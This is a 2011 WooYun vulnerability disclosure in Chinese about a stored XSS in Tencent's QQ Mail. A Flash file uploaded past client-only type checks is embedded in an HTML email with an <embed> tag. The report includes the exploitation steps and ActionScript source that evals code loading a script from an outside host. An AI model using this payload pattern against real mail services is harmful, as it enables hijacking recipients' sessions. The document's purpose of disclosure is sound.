漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2011-03314
漏洞标题:QQ邮箱XSS,邮件中可调用外部javascript文件
相关厂商:腾讯
漏洞作者: gainover
提交时间:2011-11-15 21:15
修复时间:2011-11-16 14:40
公开时间:2011-11-16 14:40
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2011-11-15: 细节已通知厂商并且等待厂商处理中
2011-11-16: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
这个是之前反馈的老漏洞了,咨询了下wooyun,回复说可以提交上来,于是就来提交了,想赚点Rank,不知道行不行啊!
漏洞:QQ邮箱对上传图片部分,文件类型未过滤,同时对HTML标签<embed>在过滤上存在问题,2个联用导致可以通过上传FLASH文件,通过FLASH调用任意javascript文件。
详细说明:
漏洞的主要成因:
1. 对图片附件的上传,仅做了客户端判断,未在服务器上进行判断,我们可以绕过限制上传任意类型文件(本次主要是用来上传flash文件~)!
2. 对HTML的过滤上存在问题,当 <embed src="相对路径" type="application/x-shockwave-flash"></embed> 中src=相对路径时,embed标签不会被过滤!
漏洞证明:
下面是漏洞利用过程!
1. 文件类型仅在客户端验证,当我在QQ邮箱上传图片附件的位置,上传一个FLASH文件时,会有以下提示!
2. 抓包分析,可以发现,出现该提示时,并没有任何数据请求,即是在客户端进行了判断!
3. 既然只在客户端做了判断,我们就自己上传其它类型文件试试(如何绕过客户端限制,这里就不多说了)。 结果:发现,除了图片之外,其它类型都可以上传。于是我们就上传一个自己的FLASH文件。
上传成功后的页面里,可以找到上传成功的FLASH文件地址。
4. 编写邮件,切换至HTML模式,写入以下内容
<embed src="刚才复制的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="刚才复制的FLASH文件地址"></img>
5. 发送邮件出去, 当对方点开邮件后, 效果如下(IE,chrome,FF下均有效):
6. 由于<embed> 标记里没有 allowscriptaccess 和 allownetworking来控制FLASH的权限!所以通过flash来执行JS代码不会受到限制。
最后附上所用FLASH的AS代码:
package {
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class QQmailTest extends Sprite
{
public function QQmailTest()
{
if(flash.external.ExternalInterface.available){
flash.external.ExternalInterface.call("eval","(function(){var s=document.createElement('script');s.type='text/javascript';s.src='http://www.toolmao.com/tool/qqmail.js';document.body.appendChild(s);})()");
}
}
}
}
修复方案:
由于是之前的漏洞,此漏洞已被厂商修复。
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2011-11-16 14:40
厂商回复:
非常感谢gainover报告的该漏洞,目前已经修复
漏洞Rank:8 (WooYun评价)
最新状态:
暂无